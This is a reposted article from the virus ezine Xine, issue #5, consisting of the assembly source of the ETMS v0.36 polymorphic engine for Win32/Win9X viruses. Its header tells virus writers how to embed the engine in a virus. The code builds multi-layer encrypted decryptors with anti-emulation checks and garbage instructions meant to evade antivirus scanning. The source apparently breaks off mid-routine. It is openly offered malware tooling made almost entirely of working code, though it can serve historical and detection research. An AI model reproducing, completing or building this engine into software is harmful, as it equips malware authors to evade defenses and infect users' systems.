Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 300

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 300 |
À-----------------------------Ù





;
; - expressway to my skull -
; - [ETMS] v0.36 -
; - b0z0/iKX -
;
; This is a polymorphic engine for Win32/Win9X viruses. It should be fully
; compatible with any 486+ processor. You should check ver. 0.1 (Xine#4)
; for some more basic informations.
;
; Changes from v0.1:
; - Multiple layers of encryption (random from 2 to 7 layers)
; - New garbage types added (MOVSX, MOVZX, BT family, SET family,
; XADD, SHLD/SHRD, CMPXCHG, BSWAP, XLAT, ENTER/LEAVE) on regs,
; mem, flags (when possible). Direct read/write on stack using
; ESP + offset.
; - Antiemulation structures (code emulation checks, stack consistency
; checks, stack segment play, memory consistency on writes)
; - New ways of incrementing/decrementing pointer/counter, changing
; encryption key, initializing registers and exiting from loop.
; - Some minor parts have been rewritten
;
; Using the poly:
; Just add the ETMS source in your virus, simply:
; include etms.asm
; Set the registers as described below and then call the poly. The poly uses
; some data for internal purposes. This data of course is not needed to be
; carried around with your infected file or whatever. You can just include
; the ETMS source at the end of the file and then skip the bytes that start
; from the label _mem_data_start. Of course you'll need to have that free
; memory placed there at runtime.
; The random seed (the dd at seed) should be initialized at first poly
; run to a value between 0 and 714024.
;
; Calling parameters:
; ECX = Lenght of things to be encrypted
; ESI = Pointer to what we want to encrypt
; EDI = Where to place decryptor and encrypted stuff
; EBP = Offset at which decryptor will run
; EDX = Some free temporary place for the poly
; The two needed space zones (EDI and EDX) should be at least 25kb plus
; the lenght of your code. Just allocate some mem, you're in Windoze baby!
;
; On exit:
; EDI = Pointer to generated code
; ECX = Lenght of generated code (decryptor + encrypted code)
;
; Contacts:
; Email me at cl0wn@geocities.com or query me on irc.
;
; Special greetings:
; I'd like to specially thank StarZero/iKX for the great support and for
; convincing me to write this. Greetings also to pigpen/s0ftpj for persistent
; support irl, crazyness roxor! ;), and also greets to claire for making me
; feel like i tought i could never feel
;
; Misc greetings to:
; The entire iKX and S0ftpj crew and: kernel panic, darkman, gigabyte,
; jackie-, rucker, talena, benny, inty13, uselessa, reptile, dandler, fusys,
; jhb, slagehammer, giorgetto, tankie, griyo and gf, vecna, belfa, del0,
; wintermute, spanska, sepultura, cavallo, milla, ^syren^, claire.
;
; - live fast, die young -
; - written in aug/sept 2000 -
;

poly:
cld
push edi
push edi

call poly_delta
poly_delta:
pop eax ; where we are running
sub eax,offset poly_delta
push ecx
push eax

lea ebx,[offset v_runnin + eax]

o_vrun equ offset v_runnin ; save some bytes since off between
; various data is a 8b
mov dword ptr [ebx],ebp
mov dword ptr [ebx - (o_vrun - offset orig_dx)],edx
mov dword ptr [ebx - (o_vrun - offset layer_nr)],tl_space

xor ecx,ecx
bit_loop:
inc ecx
shl ebp,1
jnc bit_loop ; find higher bit with an 1
dec ecx ; for random memory offsets

mov byte ptr [ebx - (o_vrun - offset t_memand)],cl
pop ebp ; delta

how_manylayers:
call get_random_al7 ; random number of layers
cmp al,6 ; from 2 to 7
jae how_manylayers
mov ecx,l_space
mul ecx
mov dword ptr [ebx - (o_vrun - offset layer_end)],eax

pop ecx
start_layer:

o_tini equ offset r_pointer
lea ebx,[offset r_pointer + ebp]
; dest, cnt and source
mov dword ptr [ebx - (o_tini - offset t_inipnt)],edi
mov dword ptr [ebx - (o_tini - offset v_lenght)],ecx
mov dword ptr [ebx - (o_tini - offset v_virusp)],esi

mov dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
mov dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h

xor eax,eax
mov dword ptr [ebx - (o_tini - offset t_fromend)],eax
mov dword ptr [ebx - (o_tini - offset t_pntoff)],eax
mov dword ptr [ebx - (o_tini - offset t_cntoff)],eax
mov dword ptr [ebx - (o_tini - offset w_loopbg)],eax
mov dword ptr [ebx - (o_tini - offset t_inacall)-2],eax
inc al
mov dword ptr [ebx - (o_tini - offset t_exitjmp)],eax

push edi ; initialize layer data
mov ecx,[ebx - (o_tini - offset layer_nr)]
lea edi,[ebx - (o_tini - offset enc_space) + ecx + 10h]
; init layers encryptor, regs struct no needed
mov al,90h ; virgin encryptor
mov dword ptr [ebx - (o_tini - offset w_encrypt)],edi
mov ecx,enc_max
rep stosb
pop edi

call rnd_garbage

mov ecx,3

mov esi,ebx ; to memory structures
mov edx,dword ptr [esi - (o_tini - offset layer_nr)]
; edx has offset in the layer structure
init_part:
push ecx
select_register:
call get_register ; get a unused register
xchg ebx,ecx

select_block:
call get_random_al7
and al,011b
jz select_block ; select from 01 to 03

dec eax
cmp byte ptr [eax+esi],0ffh ; check if that stage already
jne select_block ; done

mov byte ptr [eax+esi],bl ; save the register for that
; stage
or al,al
jnz not_pointer

mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx + 12],edi
; save offset where the
jmp assign_next ; pointer is initialized

not_pointer:
dec eax
jnz not_counter

mov dword ptr [esi - (offset r_pointer - offset w_counter)],edi
jmp assign_next ; assign inital counter

not_counter:

call get_random ; get key

mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx],eax
xchg eax,ecx ; save key for encryptor

call get_random
and al,1
jz assign_next ; if so use key
mov byte ptr [esi+2],20h ; don't use key, just imm
jmp next_loop
assign_next:
; BL register
; ECX value

; either with mov reg, imm or via stack
call get_random
shr al,1
jnc do_withmov
mov al,068h ; push immediate
stosb
xchg eax,ecx
stosd
call rnd_garbage
mov al,bl
add al,058h ; pop reg32 base
stosb
jmp next_loop
do_withmov:
mov eax,ebx ; in bl register
or al,0b8h ; mov base
stosb
xchg eax,ecx
stosd ; the value

next_loop:
mov al,bl
call set_used ; mark as unusable so far

call rnd_garbage
pop ecx
loop init_part ; make all init steps


; now some base assignment to a pointer, counter and key (if used) registers
; has been done. here we are gonna change a bit the various registers where
; the various things has been assigned
call get_random_al7
and al,011b ; from 0 to 3 moves, could be 0-7 ?
jz decryptor_build_start
xchg eax,ecx
reg_movida:
push ecx
get_whichone:
call select_save ; select which to change (pnt,cnt,key)
jc leave_this_out

call save_mov_xchg ; change the regs using mov or xchg
mov byte ptr [edx],al
leave_this_out:
pop ecx
loop reg_movida

decryptor_build_start:
; decryptor loop begins right here

lea esi,[offset t_chgpnt + ebp]
mov dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi

call get_random ; select if starting from head or from
and ax,0101h ; tail and if counter will dec or inc
mov word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax

xchg eax,edx ; rnd in edx

shl edx,1 ; add a constant to counter?
jnc normal_counter
call get_random
mov dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
normal_counter:
cmp byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
; no bp + off
je reget_size_op

shl edx,1 ; select if use only pointer or
jc reget_size_op ; pointer + offset
call get_random ; select random offset
mov dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
; if using get offset
reget_size_op:
call get_random
mov edx,eax
and eax,0fh ; select math operation and size
or eax,eax ; of operand
jz reget_size_op

; byte word dword
; ror 1 6 b
; sub 2 7 c
; xor 3 8 d
; add 4 9 e
; rol 5 a f
;
no_rorrrpr:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
; if not ax,cx,dx,bx then can't be byte
jb can_use_all ; as key
cmp al,6 ; is byte? get another
jb reget_size_op

can_use_all:
xor ecx,ecx
mov cl,10 ;9
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je no_keychanges

shr edx,8 ; edx has rnd
and edx,011b
mov byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
add ecx,edx ; add nr of key changes

no_keychanges:
cmp al,0bh
jae ok_counts
sub ecx,4d ; if with words 4 inc/dec less
sub word ptr [esi],0202h
cmp al,06d
jae ok_counts
dec ecx ; for bytes even less
dec ecx
sub word ptr [esi],0101h

ok_counts:
push eax
call rnd_garbage
get_nextseq:
call get_random_al7
cmp al,4
ja get_nextseq
xchg eax,edx
cmp byte ptr [esi+edx],0 ; need more ?
je get_nextseq
dec byte ptr [esi+edx]
shl edx,2 ; offset = * 4
sub edx,(offset t_chgpnt - offset o_table)
pop eax
push eax
push ecx
push esi
mov ecx,dword ptr [esi+edx]
add ecx,ebp
call ecx ; call the routine to do it
pop esi
pop ecx
pop eax
loop ok_counts

; finished decryption loop, needs just the jump backwards
call rnd_garbage

mov al,0e9h
stosb
xor eax,eax
xchg eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
; the jump back to start of
sub eax,04h ; the decryptor and enable
sub eax,edi ; overwriting on loop :)
stosd

call rnd_garbage
call rnd_garbage

lea esi,[offset v_lenght + ebp]

push edi ; write the offset of the exit jump
mov edx,dword ptr [esi - (offset v_lenght - offset t_chkpos)]
sub edi,edx
mov dword ptr [edx-4],edi
pop edi

; now decryption loop generation is finished
mov byte ptr [esi - (offset v_lenght - offset r_used)],10h
; can use all regs (except ESP) again

call rnd_garbage ; unencrypted one, some more here
call rnd_garbage

push edi
call rnd_garbage ; encrypted garbage
pop ecx
neg ecx
add ecx,edi ; how much encrypted garbage

mov edx,ecx
sub edi,edx

add ecx,dword ptr [esi]

shr ecx,2 ; so it will be enough for b/w/d enc
inc ecx
shl ecx,2

movzx eax,byte ptr [esi - (offset v_lenght - offset t_prejmp)]
add ecx,eax ; decs before cmp, so we reach equality

pop eax
neg eax
add eax,edi ; lenght of decryptor

add eax,edx ; total displacement for this layer
push eax ; so we can correct mem refs
sub eax,edx

add eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
; running offset

push esi
add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)]
mov ebx,dword ptr [esi - (offset v_lenght - offset enc_space) + 12]
pop esi
cmp byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
pushf
je no_adding
add eax,ecx ; from end
no_adding:
sub eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
; - pointer offset if is there
mov dword ptr [ebx+1],eax ; set initial pointer

mov ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
inc ebx

mov eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
add eax,ecx
mov dword ptr [ebx],eax

cmp byte ptr [esi - (offset v_lenght - offset t_countback)],01h
je not_negcnt
neg dword ptr [ebx]

not_negcnt:

mov ebx,edi ; pointer on code to encrypt
add edi,edx ; + encrypted garbage
popf
je no_adding2
add ebx,ecx ; add lenght if from end

no_adding2:

; save layer data (cnt and pnt) in its entry
push esi
add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)]
mov dword ptr [esi - (offset v_lenght - offset enc_space) +4],ecx
mov dword ptr [esi - (offset v_lenght - offset enc_space) +8],ebx
pop esi

push esi
mov esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]
push ecx
sub ecx,edx
rep movsb ; copy what to encrypt
pop edx
pop esi

pop eax ; this layer lenght to sum

mov ecx,dword ptr [esi - (offset v_lenght - offset layer_nr)]

corr_addr:
cmp ecx,tl_space ; correct the adresses of the lower layers
je corr_end
add ecx,l_space

add [esi - (offset v_lenght - offset enc_space) + ecx + 12d],eax
add [esi - (offset v_lenght - offset enc_space) + ecx + 8d],eax

mov ebx,[esi - (offset v_lenght - offset enc_space) + ecx + 12d]
add dword ptr [ebx + 1],eax ; pointer from decryptor
jmp corr_addr

corr_end:
mov ecx,dword ptr [esi - (offset v_lenght - offset layer_end)]

cmp dword ptr [esi - (offset v_lenght - offset layer_nr)],ecx
je finished_layers

sub dword ptr [esi - (offset v_lenght - offset layer_nr)],l_space

pop ecx ; initial EDI
push ecx
push ecx
push ecx
sub ecx,edi ; calculate new lenght to encrypt
neg ecx
pop edi

push ecx
mov esi,dword ptr [esi - (offset v_lenght - offset orig_dx)]
xchg esi,edi
mov edx,edi
push esi
rep movsb ; copy to temp space and use that one
pop edi ; as source for next layer
mov esi,edx
pop ecx
jmp start_layer ; construct next encryption layer

finished_layers:

; now in reverse order
; create each encryption layer
mov eax,dword ptr [esi - (offset v_lenght - offset layer_end)]
sub esi,(offset v_lenght - (offset enc_space + 10h) - tl_space)
push edi
enc_nl:

mov ecx,enc_max ; the stored regs
lea edi,[ebp + offset enc_space_final]
rep movsb

mov ecx, [esi - enc_max - 16] ; key value
mov edx, [esi - enc_max - 12] ; counter
mov ebx, [esi - enc_max - 8] ; pointer
sub esi, (l_space + enc_max) ; on next layer

; layer chunk, most of it will be overwritten by the one in the structure

enc_max equ 24h
; lenghts
; 6 = max encryption operation
; 4 = max 4 inc/dec counter
; 4 = max 4 inc/dec counter
; 3 * 6 = max 3 * 6 byte key change operations
; 4 = check on edx + jump short

enc_space_final:
db enc_max dup (90h) ; here the encryptor will be placed
jmp enc_space_final
exit_space_final:

add eax,l_space ; next layer structure
cmp eax,(tl_space + l_space); last layer to do?
jne enc_nl

ll_end:
pop ecx ; the final edi
pop edi ; calling edi
sub ecx,edi ; total lenght
ret ; poly finished

; - ETMS return point
poly_name db '[ETMS] v0.36 -b0z0/iKX-'

put_encloop_2:
push ecx
xor ecx,ecx
inc ecx
inc ecx
jmp short put_encloop
put_encloop_1:
push ecx
xor ecx,ecx
inc ecx
put_encloop:
; ecx nr of bytes
push eax
xchg edi,dword ptr [w_encrypt+ebp] ; in EDI where we are in enc
; and save dec position
copy_it:
stosb
shr eax,8
loop copy_it
xchg dword ptr [w_encrypt+ebp],edi ; save next and restore dec pnt
pop eax
pop ecx
ret

o_table:
o_counter dd offset ch_counter
o_pointer dd offset ch_pointer
o_key dd offset ch_key
o_mate dd offset ch_mate
o_exitjmp dd offset ch_exitjmp

ch_exitjmp: ; compare and exit jump for dec loop
xor eax,eax
inc eax
mov ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
or ecx,ecx
jnz must_compare ; is + a constant ?

get_checker:
call get_random
and eax,0fh
cmp al,09d
ja get_checker
must_compare:
shr al,1
pushf
mov ah,byte ptr [eax + offset chk_counter + ebp] ; get comparer
add ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
mov al,81h
popf
jc store_d00
inc eax
inc eax
stosw
xor al,al
stosb
jmp make_jumps
store_d00:
stosw
xchg eax,ecx
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],01h
je not_negcnt1
neg eax
not_negcnt1:
stosd
make_jumps:
mov ax,840fh ; jz long
stosw
stosd
mov dword ptr [esi - (offset t_chgpnt - offset t_chkpos)],edi
done_cond:

xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)]
mov ax,0d20bh
stosw
mov eax,edi
sub eax,dword ptr [esi - (offset t_chgpnt - offset layer_nr)]
sub eax,(offset enc_space)+10h+enc_max
add eax,ebp ; must go over the jump
neg eax
mov ah,74h
xchg al,ah
stosw
xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)]

ret

ch_counter: ; decrement/increment counter
cmp byte ptr [esi - (offset t_chgpnt - offset t_exitjmp)],00h
je no_pntchgndd
inc byte ptr [esi - (offset t_chgpnt - offset t_prejmp)]
no_pntchgndd:
mov ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
mov al,byte ptr [esi - (offset t_chgpnt - offset t_countback)]
mov cl,0ah ; edx + always dec in encryptor
jmp mk_incdec

ch_pointer: ; increment/decrement pointer
mov ah,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
mov al,byte ptr [esi - (offset t_chgpnt - offset t_fromend)]
mov cl,03h ; using ebx in encryptor
; jmp mk_incdec

mk_incdec:
; al = 0 means dec, 1 means inc
; ah = register to use
; cl = oring for encryptor
shl al,3
or al,40h
or al,ah
push eax
push eax ; will need this one for encryptor
call get_random_al7 ; how enc/dec stuff ?
shr al,1
jnc lbl_hh
pop eax
jmp set_enc_id_pre ; do with inc/dec
lbl_hh:
shr al,1
mov al,083h ; common prefix
stosb
pop eax
jc do_with_sub
; do with add (either +1 or +(-1))
or ah,0c0h
and al,8h ; was decrementing ?
jnz use_minus1
jmp use_plus1

do_with_sub:
or ah,0e8h
and al,08h ; was incrementing
jz use_minus1

use_plus1:
xor al,al ; 01h
inc al
jmp set_enc_id_pre2
use_minus1:
xor al,al ; 0ffh
dec al
set_enc_id_pre2:
xchg ah,al
stosb
xchg ah,al
set_enc_id_pre:
stosb
set_enc_id:
pop eax
and al,(NOT 0111b)
or al,cl
jmp put_encloop_1 ; put in encryptor and go away

ch_key: ; change key register
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je exit_keychange
get_modifier:
call get_random_al7
mov cl,al
mov ah,byte ptr [eax + offset key_changers + ebp]
mov al,81h ; add/sub/xor base

cmp cl,3
jb no_rrrr
mov al,0c1h ; rol/ror base

cmp cl,5
jne no_rrrr
mov al,0f7h

no_rrrr:
push eax
reget_ksize:
call get_random ; select if byte/word/dword
and al,011b
jz reget_ksize
cmp cl,05h ; inc dec just on dw and dd
jbe isntincdec
cmp al,01h
je reget_ksize
isntincdec:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
jbe canall
cmp al,01b ; byte keychange only for ax,cx,dx,bx
je reget_ksize
canall:
mov ch,al
mov dl,ah ; random stuff
pop eax
cmp ch,01h
jne no_decbyte
dec al
shr dl,1
jc no_decbyte
add ah,04h ; work on high byte
no_decbyte:
cmp ch,02h
jne no_wordprefix
push eax
mov al,66h
stosb
call put_encloop_1
pop eax
no_wordprefix:
cmp cl,06h
pushf
jb no_incdecch ; inc/dec has just one byte opcode
dec edi
mov al,byte ptr [edi]
no_incdecch:
popf
push eax
jb no_nopneeded
mov al,ah
or al,1 ; ecx key in enc loop
call put_encloop_1 ; for inc/dec
jmp short after_store
no_nopneeded:
or ah,1 ; key is ECX in enc loop
call put_encloop_2
after_store:
pop eax
or ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
stosw
cmp cl,05 ; inc/dec/not doesn't need any key
jae exit_keychange
call get_random
cmp cl,03
jae just_one_bk ; ror/rol just one byte key
cmp ch,01h
je just_one_bk ; check dimension of key modifier
stosb
call put_encloop_1
shr eax,8h
cmp ch,02h
je just_one_bk
stosw
call put_encloop_2
shr eax,10h
just_one_bk:
stosb
call put_encloop_1
exit_keychange:
ret

ch_mate: ; creates the decryption math operation

xor edx,edx
mov ecx,5h
type_sel:
cmp eax,ecx
jbe ok_regs
inc edx
sub eax,ecx
jmp type_sel ; get type and size.. in EDX size, in EAX type
; edx = 0 for byte, 1 for word, 2 for dword

ok_regs:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
lea esi,[offset _math_imm + ebp]
je without_key
add esi,(offset _math_key - offset _math_imm)
without_key:
dec eax ; type - 1
push esi
push eax
shl eax,1 ; each type is a word
add esi,eax
lodsw ; ax = mathop word

cmp dl,1
jne not_word
push eax
mov al,066h
stosb
call put_encloop_1
pop eax
not_word:
or dl,dl
jnz not_byte
dec al
not_byte:
pop ebx ; type - 1
pop esi ;

push ebx

push eax
neg ebx
add ebx,4 ; get opposite math operation
shl ebx,1
add esi,ebx
lodsw

lea esi,[offset r_regkey + ebp]
cmp byte ptr [esi],20h
je ok_regskey
cmp al,0d3h
je ok_regskey
add ah,08h ; since ECX is used as key
ok_regskey:
or dl,dl
jnz not_byterev
dec al
not_byterev:
add ah,03h ; in enc loop using EBX
call put_encloop_2
pop eax

mov cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
cmp cl,03h ; eax-ebx
ja upper_ones
add ah,cl
jmp ok_register_p
upper_ones:
add ah,06h
cmp cl,06h ; esi
je ok_register_p
inc ah
cmp cl,07h ; edi
je ok_register_p
add ah,03eh ; ebp
ok_register_p:

pop ecx ; type-1

cmp dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
je not_plusoff
add ah,80h
not_plusoff:
stosw

xor eax,eax

cmp byte ptr [esi],20h ; using key?
je ok_register_k

or cl,cl
je check_rr
cmp cl,4
jne not_rol_ror
check_rr:
cmp byte ptr [esi],1 ; is key CX (cl)
je ok_register_k
mov al,10h ; if not put just immediate
sub byte ptr [edi-2],12h

mov ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
sub byte ptr [ebx-2],12h

push ecx
mov bl,20h
xchg bl,byte ptr [esi] ; won't use key reg anymore in the
call unset_used ; future, so use for garbage
pop ecx
jmp short ok_register_k

not_rol_ror:
mov al,byte ptr [esi]
shl eax,3 ; * 8
add byte ptr [edi-1],al ; key register

ok_register_k:
cmp byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
jne not_usingbp
mov byte ptr [edi],00h
inc edi
not_usingbp:

mov eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
or eax,eax
jz no_offsetadd
stosd
no_offsetadd:
cmp byte ptr [esi],20h
jne no_key_needed

push esi
add esi,dword ptr [esi - (offset r_regkey - offset layer_nr)]
mov eax,dword ptr [esi - (offset r_regkey - offset enc_space)]
pop esi
or cl,cl
je byte_key
cmp cl,4
je byte_key
or dl,dl
je byte_key

stosb
call put_encloop_1

shr eax,8
dec dl
jz byte_key
stosw
call put_encloop_2
shr eax,10h
byte_key:
stosb
call put_encloop_1

no_key_needed:
ret

rnd_garbage:
push ecx
push eax
call get_random
and eax,0fh ; max - 1
inc eax ; not zero
xchg eax,ecx

garbager:
; ecx how many
push edx
push ebx
garbager_loop:
push ecx
get_op_type:
call get_random ; how many possible types
and eax,garbage_mask
cmp eax,garbage_number
ja get_op_type

mov ecx,[(eax*4)+offset garbage_offsets+ebp]
add ecx,ebp
call ecx ; call garbage routine
pop ecx
loop garbager_loop

mov eax,dword ptr [t_pushed+ebp]

cmp eax,000005h ; if not in a call, not in a jump and
ja stack_is_ok ; pushed <=5

or eax,eax
jz stack_is_ok

inc byte ptr [t_inacall+ebp]

cmp al,01h
ja direct_addesp
call do_pop_nocheck
jmp stack_is_ok

direct_addesp:
push eax ; then correct stack
mov ax,0c483h ; add esp,nr_dd * 4
stosw
pop eax
call force_popall
stack_is_ok:
pop ebx
pop edx

pop eax
pop ecx
ret

do_push:
cmp byte ptr [t_pushed+ebp],05h ; max dwords on the stack
ja exit_pusher
inc byte ptr [t_pushed+ebp]
call get_random ; 4 types of pushing
and al,011b
jz push_register ; normal push reg
dec al
jz push_immediate_dd ; push immediate double
dec al
jz push_immediate_by ; push immediate byte

mov ax,35ffh ; push immediate from memory
stosw
call get_address
jmp pre_exit_dd

push_immediate_by:
mov al,6ah
stosb
shr ah,1
jc zero_or_menouno
bswap eax
jmp pre_exit_pusher

zero_or_menouno: ; very usual pushes
xchg ah,al
and al,01b ; so we will get 0 or -1
dec al ; to LARGE 0 or to LARGE -1
jmp pre_exit_pusher

push_immediate_dd:
mov al,68h
stosb
call get_random
pre_exit_dd:
stosd ; normal push as double
jmp exit_pusher

push_register:
call get_random_al7
add al,050h
pre_exit_pusher:
stosb
exit_pusher:
jmp exit_ppc

do_pop:
cmp byte ptr [t_pushed+ebp],00h
je return_nopop
do_pop_nocheck:
call get_random
shr al,1
jnc popintoreg2
mov ax,0c483h ; add esp,
stosw
get_number:
call get_random_al7
jz get_number
cmp al,byte ptr [t_pushed+ebp]
ja get_number
force_popall:
sub byte ptr [t_pushed+ebp],al
shl al,2 ; dd are pushed, so * 4
jmp store_ngo2
popintoreg2:
call get_register
add cl,058h ; pop in a register
xchg eax,ecx
dec byte ptr [t_pushed+ebp]
store_ngo2:
stosb
return_nopop:
jmp exit_ppc

call_subroutines:
cmp word ptr [t_maxjmps+ebp],0h ; don't nest too much nor
jne just_exit_call ; put pushes/pops in subs and
; we can't know wassup in
; conditional jumps and such

inc byte ptr [t_inacall+ebp]

call get_random_al7
cmp al,01h ; 00h and 01h push
jbe do_push
cmp al,05 ; 02h - 05h pops (more probable so final stack
jbe do_pop ; correction should be needed less often)

; 06,07 do a call
mov al,0e8h
stosb
stosd ; place for offset

push edi
call rnd_garbage
pop ebx

mov al,0e9h
stosb
stosd ; jump offset
push edi
call krappo_gen ; random bytes
call rnd_garbage

push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx

mov dword ptr [ebx-4],eax ; call offset

call rnd_garbage ; this is the called "subroutine"

call get_random ; more ways of getting back from subroutine,
shr al,1 ; either with normal ret or by correcting the
jnc normal_ret ; stack by popping or by adding to esp
shr al,1
jnc popintoreg
mov ax,0c483h ; add esp,
stosw
mov al,4
jmp store_ngo
popintoreg:
call get_register
add cl,058h ; pop base
xchg eax,ecx
jmp store_ngo
normal_ret:
mov al,0c3h ; ret
stosb
bswap eax ; some random
and eax,07h
cmp al,4
jb do_the_int3s
jne no_ccs
random_crap:
call krappo_gen
jmp no_ccs
do_the_int3s:
xchg eax,ecx
mov al,0cch ; int3, usual after subroutines in win32s
rep stosb
store_ngo:
stosb
no_ccs:
call rnd_garbage

pop ebx ; jump offset

push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx

mov dword ptr [ebx-4],eax
exit_ppc:
dec byte ptr [t_inacall+ebp]
just_exit_call:
ret

maths_immediate_short:
stc
jmp maths_immediate_1

maths_immediate:
clc
maths_immediate_1:
pushf
call get_random ; (0 to 7) * 8
and al,0111000b
add al,0c0h ; the base
popf
push eax
pushf
call get_register
add al,cl
mov ah,81h ; prefix
popf
pushf
jnc not_a_shortone
inc ah
inc ah
not_a_shortone:
xchg ah,al
stosw
call g_dimension
popf
jnc not_a_shortone2
mov cl,01h
not_a_shortone2:
call put_immediates
pop eax
cmp al,0f8h ; is a CMP
jne not_compare
make_jmp_after_cmp:
call get_random
and eax,01b ; long or short jump
add al,06h ; short jump
jmp make_jump
not_compare:
ret

cdq_jmps_savestack:
call get_random_al7
sub al,3
jc exit_c_j_ss
xchg eax,ecx
mov al,byte ptr [ecx+offset change_jump+ebp]
cmp cl,1
ja not_cdq_cbw

test byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
jnz exit_c_j_ss
stosb
inc edi
call g_dimension
dec edi
jmp exit_c_j_ss
not_cdq_cbw:
cmp cl,4
je pushandmov
add cl,4 ; this is used for dimension
jmp do_that_fjump ; do as for conditional ones
pushandmov:

call select_save
jc exit_c_j_ss

xchg eax,ebx
mov al,50h ; push

xor ch,ch ; so it won't be erased from stack
xchg ch,byte ptr [t_pushed+ebp]

push ecx
call unset_used ; mark that as unused one
add al,bl ; push the reg
stosb
call rnd_garbage
add al,08h ; pop opcode
stosb

pop ebx
mov byte ptr [t_pushed+ebp],bh
mov byte ptr [r_used+ebp],bl
exit_c_j_ss:
ret


gen_one_byters:
call get_random_al7
make_jump:
mov cl,al
mov al,byte ptr [eax+offset one_byters+ebp] ; get onebyter
cmp cl,05h
jbe not_jump
do_that_fjump:
cmp byte ptr [t_maxjmps+ebp],3 ; don't nest too much
je just_exit
inc byte ptr [t_maxjmps+ebp]

cmp al,0e9h ; for unconditional ones skip some
jae skip_unc ; things

cmp cl,07h
jne not_longjump
push eax
mov al,0fh ; long prefix
stosb
pop eax
not_longjump:
push eax
call get_random
and al,0fh
mov ch,al
pop eax
add al,ch
skip_unc:
stosb ; type of jump
stosb ; first off
cmp cl,07h
jne not_longone
dec edi
stosd
not_longone:
push edi
call rnd_garbage
pop ebx
mov eax,edi
sub eax,ebx ; offset of jump
dec byte ptr [t_maxjmps+ebp]
cmp cl,7
je long_jumper
cmp eax,7fh ; if not too big then use it
jb good_jump
mov edi,ebx ; else forget everything
dec edi
dec edi
ret
good_jump:
mov byte ptr [ebx-1],al
ret
long_jumper:
mov dword ptr [ebx-4],eax
ret
not_jump:
stosb
just_exit:
ret

mem_assign:
mov ax,058bh
jmp mem_common

mem_mathops:
call get_random
and al,111000b ; (0 to 7) * 8
add al,03h ; base
mem_common:
push eax
call get_register
shl cl,3 ; *8
add cl,05h ; base for eax
mov ah,cl
stosw
call g_dimension

; now offset
call get_address
stosd
pop eax
cmp al,3bh ; is a cmp
je make_jmp_after_cmp ; if so force a compare
ret

diff_movz: ; movsx,movzx,bt,btc,btr,bts,bswap
call get_random ; 1 bit dim, 2 bit m/b
mov cl,al
mov dh,ah
test cl,1100000b
jnz no_wpf
mov al,066h
stosb
no_wpf:
mov al,0fh
stosb
mov al,0b6h
shr cl,1
jc some_bt
shr cl,1
jc zero_extend
add al,08h
zero_extend:
shr cl,1
jc dest_dw ; generate movsx/movzx on d or w
inc al
dest_dw:
stosb
call get_random_al7
mov dl,al
add al,0c0h
call get_register
shl cl,3
add al,cl
and dh,011b
pushf
jnz just_regs
sub al,0c0h-05h
sub al,dl
just_regs:
stosb
popf
jnz justret_r
call get_address
stosd
justret_r:
ret

some_bt:
shr cl,1
jc do_bswap
add al,04h ; btX second byte
stosb
and cl,011000b
add cl,0e0h
mov al,cl
call get_register
add al,cl
stosb
shr dh,1
pushf ; make jmp after or not
and dh,01fh ; not much sense doing > 32
mov al,dh
stosb
popf
jc make_jmp_after_cmp
ret

do_bswap:
call get_register
mov al,0c8h ; bswap
add al,cl
stosb
ret

mov_registers:
call get_random_al7 ; random source
add al,0c0h
mov ah,08bh
call get_register ; useful dest
shl cl,3
add al,cl
xchg ah,al
stosw
jmp g_dimension

maths_registers:
call get_random
and al,0111000b
add al,03h ; base
mov ah,0c0h ; suff
push eax

call get_register ; dest
shl cl,03h
add ah,cl

xchg eax,ecx ; save temp in ecx
call get_random_al7 ; all regs
xchg eax,ecx ; reg in ECX and restore EAX

add ah,cl
stosw

call g_dimension
pop eax
cmp al,3bh
je make_jmp_after_cmp
ret

rotating_imms:
call get_random_al7
cmp al,0110b ; 0f0 doesn't exist
je rotating_imms
shl al,3 ; *8
add al,0c0h

call get_register
add al,cl
mov ah,0c1h
xchg al,ah
stosw
call g_dimension
xor ecx,ecx
inc cl
jmp put_immediates

notneg_register:
call get_random
shr al,1
mov ax,0d0f7h
jc not_add
add ah,08h
not_add:
call get_register
add ah,cl
stosw
; jmp g_dimension

